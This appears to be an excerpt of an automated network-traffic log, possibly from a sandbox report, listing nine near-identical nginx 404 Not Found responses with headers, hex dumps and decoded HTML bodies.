Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:47 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:49 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:52 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:21 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:24 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:27 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:55:53 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
